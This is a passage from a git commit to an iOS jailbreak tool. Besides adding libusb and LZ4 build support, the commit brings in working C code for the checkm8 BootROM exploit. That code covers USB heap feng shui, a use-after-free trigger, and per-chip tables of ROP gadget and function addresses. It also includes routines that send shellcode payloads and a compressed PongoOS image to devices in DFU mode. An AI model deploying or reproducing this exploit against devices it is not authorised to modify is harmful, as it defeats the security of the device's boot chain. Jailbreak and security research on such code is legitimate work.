feat: libusb backend

This commit is contained in:
CLARATION committed 2026-06-22 18:19:25 -07:00
1 parent 2914030e65
commit d8154c3aeb
16 files changed
+1308 -9

No files matched your search

+3 -1
View File
@@ -12,5 +12,7 @@ insert_final_newline = true
indent_style = tab indent_style = tab
indent_size = 4 indent_size = 4
[*] [*.{yml,yaml}]
indent_style = space
indent_size = 2
+47 -2
View File
@@ -8,12 +8,42 @@ on:
- main - main
jobs: jobs:
build-linux: build-pongo:
runs-on: ubuntu-latest runs-on: macos-latest
steps: steps:
- uses: actions/checkout@v4 - uses: actions/checkout@v4
- name: Build
run: |
make
- name: Prepare upload directory
run: |
mkdir upload
mv build/Pongo.bin upload/
mv build/checkra1n-kpf-pongo upload/
- name: Upload
uses: actions/upload-artifact@v4
with:
name: pongo
path: |
upload/*
build-linux:
runs-on: ubuntu-latest
needs: build-pongo
steps:
- uses: actions/checkout@v4
- name: Download Pongo
uses: actions/download-artifact@v4
with:
name: pongo
path: payloads/
- name: Install dependencies (apt) - name: Install dependencies (apt)
run: | run: |
sudo apt update sudo apt update
@@ -32,6 +62,8 @@ jobs:
build-macos: build-macos:
runs-on: ${{ matrix.os }} runs-on: ${{ matrix.os }}
needs: build-pongo
strategy: strategy:
matrix: matrix:
include: include:
@@ -43,6 +75,12 @@ jobs:
steps: steps:
- uses: actions/checkout@v4 - uses: actions/checkout@v4
- name: Download Pongo
uses: actions/download-artifact@v4
with:
name: pongo
path: payloads/
- name: Install dependencies (brew) - name: Install dependencies (brew)
run: | run: |
brew update brew update
@@ -62,10 +100,17 @@ jobs:
build-windows: build-windows:
runs-on: windows-latest runs-on: windows-latest
needs: build-pongo
steps: steps:
- uses: actions/checkout@v4 - uses: actions/checkout@v4
- name: Download Pongo
uses: actions/download-artifact@v4
with:
name: pongo
path: payloads/
- name: Set up MSYS2 - name: Set up MSYS2
uses: msys2/setup-msys2@v2 uses: msys2/setup-msys2@v2
with: with:
+25 -2
View File
@@ -57,6 +57,23 @@ FetchContent_Declare(
FetchContent_MakeAvailable(nlohmann_json) FetchContent_MakeAvailable(nlohmann_json)
# =========================
# LZ4
# =========================
include(FetchContent)
set(LZ4_BUILD_CLI OFF CACHE BOOL "" FORCE)
FetchContent_Declare(
lz4
GIT_REPOSITORY https://github.com/lz4/lz4.git
GIT_TAG v1.10.0
SOURCE_SUBDIR build/cmake
)
FetchContent_MakeAvailable(lz4)
# ========================= # =========================
# SOURCES # SOURCES
# ========================= # =========================
@@ -117,11 +134,13 @@ if(WITH_GUI)
endif() endif()
target_link_libraries(palera1n PRIVATE nlohmann_json::nlohmann_json) target_link_libraries(palera1n PRIVATE nlohmann_json::nlohmann_json)
target_link_libraries(palera1n PRIVATE lz4_static)
# ========================= # =========================
# libimobiledevice # libimobiledevice
# ========================= # =========================
if(WITH_GUI)
if(WITH_STATIC) if(WITH_STATIC)
include(ExternalProject) include(ExternalProject)
@@ -439,12 +458,14 @@ if(WITH_GUI)
pkg_check_modules(IRECOVERY REQUIRED libirecovery-1.0) pkg_check_modules(IRECOVERY REQUIRED libirecovery-1.0)
pkg_check_modules(PLIST REQUIRED libplist-2.0) pkg_check_modules(PLIST REQUIRED libplist-2.0)
pkg_check_modules(USBMUXD REQUIRED libusbmuxd-2.0) pkg_check_modules(USBMUXD REQUIRED libusbmuxd-2.0)
pkg_check_modules(LIBUSB REQUIRED libusb-1.0)
target_include_directories(palera1n PRIVATE target_include_directories(palera1n PRIVATE
${IMD_INCLUDE_DIRS} ${IMD_INCLUDE_DIRS}
${IRECOVERY_INCLUDE_DIRS} ${IRECOVERY_INCLUDE_DIRS}
${PLIST_INCLUDE_DIRS} ${PLIST_INCLUDE_DIRS}
${USBMUXD_INCLUDE_DIRS} ${USBMUXD_INCLUDE_DIRS}
${LIBUSB_INCLUDE_DIRS}
) )
target_link_libraries(palera1n PRIVATE target_link_libraries(palera1n PRIVATE
@@ -452,6 +473,7 @@ if(WITH_GUI)
${IRECOVERY_LIBRARIES} ${IRECOVERY_LIBRARIES}
${PLIST_LIBRARIES} ${PLIST_LIBRARIES}
${USBMUXD_LIBRARIES} ${USBMUXD_LIBRARIES}
${LIBUSB_LIBRARIES}
) )
target_compile_options(palera1n PRIVATE target_compile_options(palera1n PRIVATE
@@ -459,6 +481,7 @@ if(WITH_GUI)
${IRECOVERY_CFLAGS_OTHER} ${IRECOVERY_CFLAGS_OTHER}
${PLIST_CFLAGS_OTHER} ${PLIST_CFLAGS_OTHER}
${USBMUXD_CFLAGS_OTHER} ${USBMUXD_CFLAGS_OTHER}
${LIBUSB_CFLAGS_OTHER}
) )
endif() endif()
endif()
+199
View File
@@ -0,0 +1,199 @@
#include "checkm8.h"
#include <stdlib.h>
#include "../utils/log.h"
#ifndef __APPLE__
# include "usb-libusb.h"
#endif
#include "dfu.h"
#include "payload.h"
// Start a new DFU transfer or continue an existing one
// Once finished, DFU will be ready for checkm8
bool checkm8_reset(usb_handle_t *handle) {
transfer_ret_t transferRet;
// Send zero-length packet to end existing transfer
bool ret = send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, DFU_FILE_SUFFIX_LENGTH, &transferRet);
if (!ret) { goto fail; }
if (transferRet.ret != USB_TRANSFER_OK || transferRet.sz != DFU_FILE_SUFFIX_LENGTH) { return false; }
// Requests image validation like we are about to boot it
ret = dfu_device_set_await_reset(handle);
if (!ret) { goto fail; }
// Start a new DFU transfer
ret = send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, EP0_MAX_PACKET_SIZE, &transferRet);
if (!ret) { goto fail; }
if (transferRet.ret != USB_TRANSFER_OK || transferRet.sz != EP0_MAX_PACKET_SIZE) { goto fail; }
// Ready for checkm8
return true;
fail:
// DFU abort on failure
send_usb_control_request_no_data(handle, 0x21, DFU_CLRSTATUS, 0, 0, 0, NULL);
LOG("Failed to reset device.");
return false;
}
bool checkm8_stall(usb_handle_t *handle) {
int usbAbortTimeout = 10;
transfer_ret_t transferRet;
while (send_usb_control_request_async_no_data(handle, 0x80, DFU_ABORT, 0x304, 0xA, 0xC0, usbAbortTimeout, &transferRet)) {
if (transferRet.sz < 0xC0
&& send_usb_control_request_async_no_data(handle, 0x80, DFU_ABORT, 0x304, 0xA, 0x40, 1, &transferRet)
&& transferRet.sz == 0) {
LOG("Stalled device.");
return true;
}
usbAbortTimeout = (usbAbortTimeout + 1) % 10;
}
LOG("Failed to stall device!");
return false;
}
bool checkm8_usb_request_stall(usb_handle_t *handle) {
return send_usb_control_request_no_data(handle, 0x2, DFU_GETSTATUS, 0, 0x80, 0, NULL);
}
bool checkm8_send_leaking_zlp(usb_handle_t *handle) {
return send_usb_control_request_no_data(handle, 0x80, DFU_ABORT, 0x304, 0x40A, 0x40, NULL);
}
bool checkm8_send_normal_zlp(usb_handle_t *handle) {
return send_usb_control_request_no_data(handle, 0x80, DFU_ABORT, 0x304, 0x40A, 0xC1, NULL);
}
bool checkm8_heap_feng_shui(usb_handle_t *handle, struct DeviceConfiguration *config) {
if (config->largeLeak == 0) {
if (config->cpid >= 0x7000 && config->cpid <= 0x8003 && config->cpid != 0x8001) {
while (!checkm8_usb_request_stall(handle) || !checkm8_send_leaking_zlp(handle) || !checkm8_send_normal_zlp(handle)) { }
} else {
// Stall endpoint (and leak a packet)
if (!checkm8_stall(handle)) { return false; }
// Send enough packets to fill the hole
LOG( "Sending %d normal ZLPs.", config->hole);
for (int i = 0; i < config->hole; i++) {
if (!checkm8_send_normal_zlp(handle)) { return false; }
}
// Add another leaking packet the end of the hole
if (!checkm8_send_leaking_zlp(handle)) { return false; }
// Make sure the conditions are correct
// So that the packets are actually leaked
// (latest wLength > queued packet wLength)
if (!checkm8_send_normal_zlp(handle)) { return false; }
}
} else { // Unused as we don't have A7/A6 support yet
// All packets are leaked - fill out the heap
// such that there is a hole at the end for the IO buffer
for (int i = 0; i < config->largeLeak; i++) {
checkm8_usb_request_stall(handle);
}
// Abort DFU and leak the packets
send_usb_control_request_no_data(handle, 0x21, DFU_CLRSTATUS, 0, 0, 0, NULL);
}
return true;
}
bool checkm8_trigger_UaF(usb_handle_t *handle, struct DeviceConfiguration *config) {
unsigned usbAbortTimeout = USB_TIMEOUT;
transfer_ret_t transferRet;
// Keep asynchonously sending packets until we get a stall (which is actually the data not being sent)
while (send_usb_control_request_async_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, DFU_MAX_TRANSFER_SIZE, usbAbortTimeout, &transferRet)) {
// Overwrite padding to ensure we overwrite the correct data
if (transferRet.sz < config->overwritePadding
&& send_usb_control_request_no_data(handle, 0, 0, 0, 0, config->overwritePadding - transferRet.sz, &transferRet)
&& transferRet.ret == USB_TRANSFER_STALL) {
// DFU abort and trigger the UaF
send_usb_control_request_no_data(handle, 0x21, DFU_CLRSTATUS, 0, 0, 0, NULL);
return true;
}
// If we don't get a stall, something went wrong
if (!send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, EP0_MAX_PACKET_SIZE, NULL)) {
break;
}
usbAbortTimeout = (usbAbortTimeout + 1) % 10;
}
return false;
}
#ifndef MIN
# define MIN(a, b) ((a) < (b) ? (a) : (b))
#endif
bool checkm8_send_overwrite_and_payload(usb_handle_t *handle, struct DeviceConfiguration *deviceConfig, struct PayloadConfiguration *payloadConfig) {
size_t overwriteSize = 0;
size_t payloadSize = 0;
uint8_t *overwrite = create_pongo_overwrite_for_device(payloadConfig, &overwriteSize);
uint8_t *payload = create_pongo_payload_for_device(deviceConfig, &payloadSize);
if (!overwrite || overwriteSize == 0) {
LOG("Failed to generate overwrite!");
goto cleanup;
}
if (!payload || payloadSize == 0) {
LOG( "Failed to generate payload!");
goto cleanup;
}
transfer_ret_t transferRet;
// Why is this needed?
if (deviceConfig->cpid >= 0x8001 && deviceConfig->cpid <= 0x8015 && deviceConfig->cpid != 0x8003) {
if (!checkm8_usb_request_stall(handle)) { goto cleanup; }
if (!checkm8_send_leaking_zlp(handle)) { goto cleanup; }
}
send_usb_control_request_no_data(handle, 2, DFU_GETSTATUS, 0, 0x80, 0, NULL);
send_usb_control_request_no_data(handle, 2, DFU_GETSTATUS, 0, 0x80, 0, NULL);
// Send overwrite and make sure the endpoint is still stalled
if (send_usb_control_request(handle, 0, 0, 0, 0, overwrite, overwriteSize, &transferRet)
&& transferRet.ret == USB_TRANSFER_STALL) {
// Reset the global state so we can send our payload?
bool ret = true;
size_t packetSize = 0;
for (int i = 0; ret && i < payloadSize; i += packetSize) {
packetSize = MIN(payloadSize - i, DFU_MAX_TRANSFER_SIZE);
LOG( "Sending payload chunk of size 0x%x.", packetSize);
// Send payload chunk
ret = send_usb_control_request(handle, 0x21, DFU_DNLOAD, 0, 0, &payload[i], packetSize, NULL);
}
if (ret) {
// T8011 is fragile...
if (deviceConfig->cpid != 0x8011) {
send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, DFU_FILE_SUFFIX_LENGTH, NULL);
send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, 0, NULL);
}
} else {
LOG("Failed to send payload!");
}
// This is the trigger for execution
ret = send_usb_control_request_no_data(handle, 0x21, DFU_CLRSTATUS, 0, 0, 0, NULL);
LOG("Checkmate!");
if (overwrite != NULL) { free(overwrite); }
return true;
} else {
LOG("Failed to send overwrite!");
}
cleanup:
return false;
}
+29
View File
@@ -0,0 +1,29 @@
#ifndef CHEKMC8_H
#define CHEKMC8_H
#include "payload.h"
#ifndef __APPLE__
# include "usb-libusb.h"
#endif
#ifdef __cplusplus
extern "C" {
#endif
bool checkm8_reset(usb_handle_t *handle);
bool checkm8_stall(usb_handle_t *handle);
bool checkm8_usb_request_stall(usb_handle_t *handle);
bool checkm8_send_leaking_zlp(usb_handle_t *handle);
bool checkm8_send_normal_zlp(usb_handle_t *handle);
bool checkm8_heap_feng_shui(usb_handle_t *handle, struct DeviceConfiguration *config);
bool checkm8_trigger_UaF(usb_handle_t *handle, struct DeviceConfiguration *config);
bool checkm8_send_overwrite_and_payload(usb_handle_t *handle, struct DeviceConfiguration *deviceConfig, struct PayloadConfiguration *payloadConfig);
#ifdef __cplusplus
}
#endif
#endif // CHEKMC8_H
+64
View File
@@ -0,0 +1,64 @@
#include "dfu.h"
#include <stdlib.h>
#include <stddef.h>
#include <stdint.h>
#include <string.h>
#ifndef __APPLE__
# include "usb-libusb.h"
#endif
#include "payload.h"
bool dfu_check_status(const usb_handle_t *handle, uint8_t status, uint8_t state) {
struct {
uint8_t status, poll_timeout[3], state, str_idx;
} dfu_status;
transfer_ret_t transfer_ret;
return send_usb_control_request(handle, 0xA1, DFU_GETSTATUS, 0, 0, &dfu_status, sizeof(dfu_status), &transfer_ret)
&& transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == sizeof(dfu_status)
&& dfu_status.status == status && dfu_status.state == state;
}
bool dfu_device_set_await_reset(const usb_handle_t *handle) {
transfer_ret_t transfer_ret;
return send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, 0, &transfer_ret)
&& transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == 0
&& dfu_check_status(handle, DFU_STATUS_OK, DFU_STATE_MANIFEST_SYNC)
&& dfu_check_status(handle, DFU_STATUS_OK, DFU_STATE_MANIFEST)
&& dfu_check_status(handle, DFU_STATUS_OK, DFU_STATE_MANIFEST_WAIT_RESET);
}
int dfu_serial_number_get_cpid(char *serial) {
char *cpid = strstr(serial, "CPID:");
if (cpid == NULL) { return -1; }
return strtol(cpid + 5, NULL, 16);
}
int dfu_serial_number_get_bdid(char *serial) {
char *bdid = strstr(serial, "BDID:");
if (bdid == NULL) { return -1; }
return strtol(bdid + 5, NULL, 16);
}
bool dfu_serial_number_is_in_dfu_mode(char *serial) {
char *DFU = strstr(serial, "SRTG");
return DFU != NULL;
}
bool dfu_serial_number_is_pwned(char *serial) {
char *pwnd = strstr(serial, "PWND:");
return pwnd != NULL;
}
bool dfu_serial_number_is_in_yolo_dfu(char *serial) {
char *yolo = strstr(serial, "YOLO");
return yolo != NULL;
}
bool device_serial_number_is_in_pongo_os(char *serial) {
char *pongo = strstr(serial, "SRTG:[PongoOS");
return pongo != NULL;
}
+42
View File
@@ -0,0 +1,42 @@
#ifndef DFU_H
#define DFU_H
#include <stdint.h>
#ifndef __APPLE__
# include "usb-libusb.h"
#endif
#define DFU_DNLOAD 1
#define DFU_UPLOAD 2
#define DFU_GETSTATUS 3
#define DFU_CLRSTATUS 4
#define DFU_GETSTATE 5
#define DFU_ABORT 6
#define DFU_FILE_SUFFIX_LENGTH 16
#define EP0_MAX_PACKET_SIZE 0x40
#define DFU_MAX_TRANSFER_SIZE 0x800
#define DFU_STATUS_OK 0
#define DFU_STATE_MANIFEST_SYNC 6
#define DFU_STATE_MANIFEST 7
#define DFU_STATE_MANIFEST_WAIT_RESET 8
#ifdef __cplusplus
extern "C" {
#endif
bool dfu_device_set_await_reset(const usb_handle_t *handle);
int dfu_serial_number_get_cpid(char *serial);
bool dfu_serial_number_is_in_dfu_mode(char *serial);
bool dfu_serial_number_is_pwned(char *serial);
bool dfu_serial_number_is_in_yolo_dfu(char *serial);
bool device_serial_number_is_in_pongo_os(char *serial);
#ifdef __cplusplus
}
#endif
#endif // DFU_H
+392
View File
@@ -0,0 +1,392 @@
#include "payload.h"
#include <stdlib.h>
#include <stdint.h>
#include "../utils/log.h"
#include "dfu.h"
#include "../gen/payloads/t8015.h"
#include "../gen/payloads/t8011.h"
#include "../gen/payloads/t8010.h"
#include "../gen/payloads/s8003.h"
#include "../gen/payloads/s8001.h"
#include "../gen/payloads/s8000.h"
#include "../gen/payloads/t7001.h"
#include "../gen/payloads/t7000.h"
bool checkm8_find_device_configuration_for_cpid(int cpid, struct DeviceConfiguration *config) {
bool foundMatchingConfiguration = true;
switch (cpid) {
case 0x8015:
case 0x8012:
case 0x8011:
config->cpid = cpid;
config->largeLeak = 0;
config->overwritePadding = 0x540;
config->hole = 6;
break;
case 0x8010:
config->cpid = cpid;
config->largeLeak = 0;
config->overwritePadding = 0x5C0;
config->hole = 5;
break;
case 0x8001:
config->cpid = cpid;
config->largeLeak = 0;
config->overwritePadding = 0x5C0;
config->hole = 6;
break;
case 0x8003:
case 0x8000:
case 0x7001:
case 0x7000:
config->cpid = cpid;
config->largeLeak = 0;
config->overwritePadding = 0x500;
config->hole = 0;
break;
default:
LOG("CPID 0x%x is not supported!", cpid);
if (cpid > 0x8015) {
LOG("arm64e devices (A12 and newer) will never be supported.");
}
foundMatchingConfiguration = false;
break;
}
return foundMatchingConfiguration;
}
bool checkm8_find_payload_configuration_for_cpid(int cpid, struct PayloadConfiguration *config) {
bool foundMatchingConfiguration = true;
switch (cpid) {
case 0x8015:
config->tlbi = 0x1000004AC;
config->nopGadget = 0x10000A9C4;
config->retGadget = 0x100000148;
config->patchAddress = 0x10000624C;
config->ttbr0Address = 0x18000C000;
config->functionGadget = 0x10000A9AC;
config->ttbr0Write = 0x10000045C;
config->memcpyAddress = 0x10000E9D0;
config->aesCryptoCommand = 0x100009E9C;
config->bootTrampolineEnd = 0x18001C000;
config->ttbr0VROMOffset = 0x400;
config->ttbr0SRAMOffset = 0x600;
config->gUSBSerialNumber = 0x180003A78;
config->dfu_handle_request_address = 0x180008638;
config->usb_core_do_transfer = 0x10000B9A8;
config->dfu_handle_bus_reset_address = 0x180008668;
config->insecureMemoryBase = 0x18001C000;
config->handle_interface_request = 0x10000BCCC;
config->usb_create_string_descriptor = 0x10000AE80;
config->usb_serial_number_string_descriptor = 0x1800008FA;
break;
case 0x8012:
config->tlbi = 0x100000494;
config->nopGadget = 0x100008DB8;
config->retGadget = 0x10000012C;
config->patchAddress = 0x100004854;
config->ttbr0Address = 0x18000C000;
config->functionGadget = 0x100008DA0;
config->ttbr0Write = 0x100000444;
config->memcpyAddress = 0x10000EA30;
config->aesCryptoCommand = 0x1000082AC;
config->bootTrampolineEnd = 0x18001C000;
config->ttbr0VROMOffset = 0x400;
config->ttbr0SRAMOffset = 0x600;
config->gUSBSerialNumber = 0x180003AF8;
config->dfu_handle_request_address = 0x180008B08;
config->usb_core_do_transfer = 0x10000BD20;
config->dfu_handle_bus_reset_address = 0x180008B38;
config->insecureMemoryBase = 0x18001C000;
config->handle_interface_request = 0x10000BFFC;
config->usb_create_string_descriptor = 0x10000B1CC;
config->usb_serial_number_string_descriptor = 0x18000082A;
break;
case 0x8011:
config->tlbi = 0x100000444;
config->nopGadget = 0x10000CD0C;
config->retGadget = 0x100000148;
config->patchAddress = 0x100007630;
config->ttbr0Address = 0x1800A0000;
config->functionGadget = 0x10000CCEC;
config->ttbr0Write = 0x1000003F4;
config->memcpyAddress = 0x100010950;
config->aesCryptoCommand = 0x10000C994;
config->bootTrampolineEnd = 0x1800B0000;
config->ttbr0VROMOffset = 0x400;
config->ttbr0SRAMOffset = 0x600;
config->gUSBSerialNumber = 0x180083D28;
config->dfu_handle_request_address = 0x180088A58;
config->usb_core_do_transfer = 0x10000DD64;
config->dfu_handle_bus_reset_address = 0x180088A88;
config->insecureMemoryBase = 0x1800B0000;
config->handle_interface_request = 0x10000E08C;
config->usb_create_string_descriptor = 0x10000D234;
config->usb_serial_number_string_descriptor = 0x18008062A;
break;
case 0x8010:
config->tlbi = 0x100000434;
config->nopGadget = 0x10000CC6C;
config->retGadget = 0x10000015C;
config->patchAddress = 0x1000074AC;
config->ttbr0Address = 0x1800A0000;
config->functionGadget = 0x10000CC4C;
config->ttbr0Write = 0x1000003E4;
config->memcpyAddress = 0x100010730;
config->aesCryptoCommand = 0x10000C8F4;
config->bootTrampolineEnd = 0x1800B0000;
config->ttbr0VROMOffset = 0x400;
config->ttbr0SRAMOffset = 0x600;
config->gUSBSerialNumber = 0x180083CF8;
config->dfu_handle_request_address = 0x180088B48;
config->usb_core_do_transfer = 0x10000DC98;
config->dfu_handle_bus_reset_address = 0x180088B78;
config->insecureMemoryBase = 0x1800B0000;
config->handle_interface_request = 0x10000DFB8;
config->usb_create_string_descriptor = 0x10000D150;
config->usb_serial_number_string_descriptor = 0x1800805DA;
break;
case 0x8001:
config->tlbi = 0x100000404;
config->nopGadget = 0x10000CD60;
config->retGadget = 0x100000118;
config->patchAddress = 0x100007668;
config->ttbr0Address = 0x180050000;
config->functionGadget = 0x10000CD40;
config->ttbr0Write = 0x1000003B4;
config->memcpyAddress = 0x1000106F0;
config->aesCryptoCommand = 0x10000C9D4;
config->bootTrampolineEnd = 0x180044000;
config->ttbr0VROMOffset = 0x400;
config->ttbr0SRAMOffset = 0x600;
config->gUSBSerialNumber = 0x180047578;
config->dfu_handle_request_address = 0x18004C378;
config->usb_core_do_transfer = 0x10000DDA4;
config->dfu_handle_bus_reset_address = 0x18004C3A8;
config->insecureMemoryBase = 0x180000000;
config->handle_interface_request = 0x10000E0B4;
config->usb_create_string_descriptor = 0x10000D280;
config->usb_serial_number_string_descriptor = 0x18004486A;
break;
case 0x8003:
case 0x8000:
config->patchAddress = 0x10000812C;
config->ttbr0Address = 0x1800C8000;
config->memcpyAddress = 0x100011030;
config->aesCryptoCommand = 0x10000DAA0;
config->bootTrampolineEnd = 0x1800E1000;
config->ttbr0VROMOffset = 0x400;
config->ttbr0SRAMOffset = 0x600;
config->gUSBSerialNumber = 0x180087958;
config->dfu_handle_request_address = 0x1800878F8;
config->usb_core_do_transfer = 0x10000EE78;
config->dfu_handle_bus_reset_address = 0x180087928;
config->insecureMemoryBase = 0x180380000;
config->handle_interface_request = 0x10000F1B0;
config->usb_create_string_descriptor = 0x10000E354;
config->usb_serial_number_string_descriptor = 0x1800807DA;
break;
case 0x7001:
config->patchAddress = 0x10000AD04;
config->memcpyAddress = 0x100013F10;
config->aesCryptoCommand = 0x100010A90;
config->bootTrampolineEnd = 0x1800E1000;
config->gUSBSerialNumber = 0x180088E48;
config->dfu_handle_request_address = 0x180088DF8;
config->usb_core_do_transfer = 0x100011BB4;
config->dfu_handle_bus_reset_address = 0x180088E18;
config->insecureMemoryBase = 0x180380000;
config->handle_interface_request = 0x100011EE4;
config->usb_create_string_descriptor = 0x100011074;
config->usb_serial_number_string_descriptor = 0x180080C2A;
break;
case 0x7000:
config->patchAddress = 0x100007E98;
config->memcpyAddress = 0x100010E70;
config->aesCryptoCommand = 0x10000DA90;
config->bootTrampolineEnd = 0x1800E1000;
config->gUSBSerialNumber = 0x1800888C8;
config->dfu_handle_request_address = 0x180088878;
config->usb_core_do_transfer = 0x10000EBB4;
config->dfu_handle_bus_reset_address = 0x180088898;
config->insecureMemoryBase = 0x180380000;
config->handle_interface_request = 0x10000EEE4;
config->usb_create_string_descriptor = 0x10000E074;
config->usb_serial_number_string_descriptor = 0x18008062A;
break;
default:
LOG("CPID 0x%x is not supported!", cpid);
foundMatchingConfiguration = false;
}
return foundMatchingConfiguration;
}
uint8_t *create_pongo_overwrite_for_device(struct PayloadConfiguration *payloadConfig, size_t *overwriteSize) {
LOG("Preparing overwrite for YoloDFU mode.");
uint64_t *overwrite = malloc(0x30);
overwrite[5] = payloadConfig->insecureMemoryBase;
*overwriteSize = 0x30;
return (uint8_t *)overwrite;
}
uint8_t *create_pongo_payload_for_device(struct DeviceConfiguration *deviceConfig, size_t *payloadSize) {
LOG("Preparing YoloDFU payload for CPID 0x%x.", deviceConfig->cpid);
switch (deviceConfig->cpid) {
case 0x8015:
*payloadSize = t8015_len;
return (uint8_t *)t8015;
case 0x8011:
*payloadSize = t8011_len;
return (uint8_t *)t8011;
case 0x8010:
*payloadSize = t8010_len;
return (uint8_t *)t8010;
case 0x8003:
*payloadSize = s8003_len;
return (uint8_t *)s8003;
case 0x8001:
*payloadSize = s8001_len;
return (uint8_t *)s8001;
case 0x8000:
*payloadSize = s8000_len;
return (uint8_t *)s8000;
case 0x7001:
*payloadSize = t7001_len;
return (uint8_t *)t7001;
case 0x7000:
*payloadSize = t7000_len;
return (uint8_t *)t7000;
default:
LOG("Failed to prepare payload for device with CPID 0x%x.", deviceConfig->cpid);
return NULL;
}
}
// TODO: move l8r
bool wait_for_device_to_enter_yolo_dfu(usb_handle_t *handle) {
char *serialNumber = NULL;
wait_usb_handle(handle);
serialNumber = get_usb_device_serial_number(handle);
if (serialNumber == NULL) {
LOG("Failed to get device serial number.");
close_usb_handle(handle);
return false;
}
unsigned totalTime = 0;
while (!dfu_serial_number_is_in_yolo_dfu(serialNumber)) {
wait_usb_handle(handle);
free(serialNumber);
serialNumber = get_usb_device_serial_number(handle);
close_usb_handle(handle);
if (serialNumber == NULL) {
LOG("Failed to get device serial number.");
return false;
}
sleep_ms(100);
totalTime += 100;
if (totalTime >= 15000) {
LOG("Device failed to enter Yolo DFU mode.");
return false;
}
}
close_usb_handle(handle);
return true;
}
#include <string.h>
#include "../gen/payloads/Pongo.h"
#include "../gen/payloads/lz4dec.h"
#include <lz4hc.h>
bool prepare_pongo(unsigned char **pongoBuf, size_t *size)
{
size_t shellcodeSize, pongoSize;
void *shellcode, *pongo;
// The shellcode that is appended to the beginning of the
// LZ4-compressed Pongo is actually an LZ4 decompressor
// that decompresses the Pongo image into memory.
// It is, in effect, a self-extracting payload.
shellcodeSize = lz4dec_len;
shellcode = malloc(shellcodeSize);
memcpy(shellcode, lz4dec, shellcodeSize);
pongoSize = Pongo_len;
pongo = malloc(pongoSize);
memcpy(pongo, Pongo, pongoSize);
// Compress PongoOS
char *pongoCompressed = malloc(pongoSize);
LOG("Compressing PongoOS");
pongoSize = LZ4_compress_HC(pongo, pongoCompressed, pongoSize, pongoSize, LZ4HC_CLEVEL_MAX);
if (pongoSize == 0) {
LOG("Failed to compress PongoOS");
return false;
}
// Add shellcode to PongoOS
LOG("Adding shellcode to PongoOS");
void *tmp = malloc(pongoSize + shellcodeSize);
memcpy(tmp, shellcode, shellcodeSize);
memcpy(tmp + shellcodeSize, pongoCompressed, pongoSize);
free(pongo);
pongo = tmp;
pongoSize += shellcodeSize;
free(shellcode);
// Write size of compressed Pongo into data for decompressor
uint32_t *pongoSizeInData = (uint32_t *)(pongo + 0x1fc);
*pongoSizeInData = pongoSize - shellcodeSize;
// Update parameters
*pongoBuf = pongo;
*size = pongoSize;
return true;
}
bool send_pongo_to_yolo_dfu(usb_handle_t *handle) {
unsigned char *pongoData = NULL;
size_t pongoSize = 0;
if (!prepare_pongo(&pongoData, &pongoSize) || pongoData == NULL || pongoSize == 0) {
LOG("Failed to prepare PongoOS.");
return false;
}
bool ret = false;
if (wait_usb_handle(handle)) {
if (dfu_serial_number_is_in_yolo_dfu(get_usb_device_serial_number(handle))) {
size_t lengthSent = 0, size;
transfer_ret_t transferRet;
while (lengthSent < pongoSize) {
retry:
size = ((pongoSize - lengthSent) > 0x800) ? 0x800 : (pongoSize - lengthSent);
send_usb_control_request(handle, 0x21, DFU_DNLOAD, 0, 0, pongoData + lengthSent, size, &transferRet);
if (transferRet.sz != size || transferRet.ret != USB_TRANSFER_OK) {
LOG("Retrying at size 0x%lx...", size);
sleep_ms(100);
goto retry;
}
lengthSent += size;
}
send_usb_control_request_no_data(handle, 0x21, DFU_CLRSTATUS, 0, 0, 0, NULL);
close_usb_handle(handle);
sleep_ms(100);
init_usb_handle(handle, 0x5AC, 0x4141);
wait_usb_handle(handle);
free(pongoData);
LOG("Device is now in PongoOS!");
ret = true;
}
else {
free(pongoData);
LOG("Device is not in Yolo DFU mode!");
}
}
return ret;
}
+39
View File
@@ -0,0 +1,39 @@
#ifndef PAYLOAD_H
#define PAYLOAD_H
#include <stdint.h>
#include <stddef.h>
#ifndef __APPLE__
# include "usb-libusb.h"
#endif
#ifdef __cplusplus
extern "C" {
#endif
struct DeviceConfiguration {
uint64_t cpid, largeLeak, overwritePadding, hole;
};
struct PayloadConfiguration {
uint64_t tlbi, nopGadget, retGadget, patchAddress, ttbr0Address, functionGadget, ttbr0Write,
memcpyAddress, aesCryptoCommand, bootTrampolineEnd, ttbr0VROMOffset, ttbr0SRAMOffset,
gUSBSerialNumber, dfu_handle_request_address, usb_core_do_transfer, dfu_handle_bus_reset_address,
insecureMemoryBase, handle_interface_request, usb_create_string_descriptor, usb_serial_number_string_descriptor;
};
bool checkm8_find_device_configuration_for_cpid(int cpid, struct DeviceConfiguration *config);
bool checkm8_find_payload_configuration_for_cpid(int cpid, struct PayloadConfiguration *config);
uint8_t *create_pongo_overwrite_for_device(struct PayloadConfiguration *payloadConfig, size_t *overwriteSize);
uint8_t *create_pongo_payload_for_device(struct DeviceConfiguration *deviceConfig, size_t *payloadSize);
// TODO? move
bool wait_for_device_to_enter_yolo_dfu(usb_handle_t *handle);
bool send_pongo_to_yolo_dfu(usb_handle_t *handle);
#ifdef __cplusplus
}
#endif
#endif // PAYLOAD_H
+139
View File
@@ -0,0 +1,139 @@
#include "run.hpp"
#include <cstdlib>
#include <thread>
#include <atomic>
#include "../utils/log.h"
#ifndef __APPLE__
# include "usb-libusb.h"
#endif
#include "dfu.h"
#include "payload.h"
#include "checkm8.h"
std::atomic_bool stopThreads{false};
bool checkm8(enum ExploitMode mode) {
usb_handle_t *handle = NULL;
auto dfu_handle = std::make_unique<usb_handle_t>();
auto pongo_handle = std::make_unique<usb_handle_t>();
init_usb_handle(dfu_handle.get(), 0x5AC, 0x1227);
init_usb_handle(pongo_handle.get(), 0x5AC, 0x4141);
std::thread dfu_thread(wait_usb_handle, dfu_handle.get());
std::thread pongo_thread(wait_usb_handle, pongo_handle.get());
dfu_thread.detach();
pongo_thread.detach();
LOG("Waiting for device...");
for (;;) {
sleep_ms(200);
if (dfu_handle->device) {
LOG("Found device in DFU mode!");
handle = dfu_handle.get();
break;
} else if (pongo_handle->device) {
LOG("Found device in Pongo!");
handle = pongo_handle.get();
break;
}
}
stopThreads = true;
sleep_ms(200);
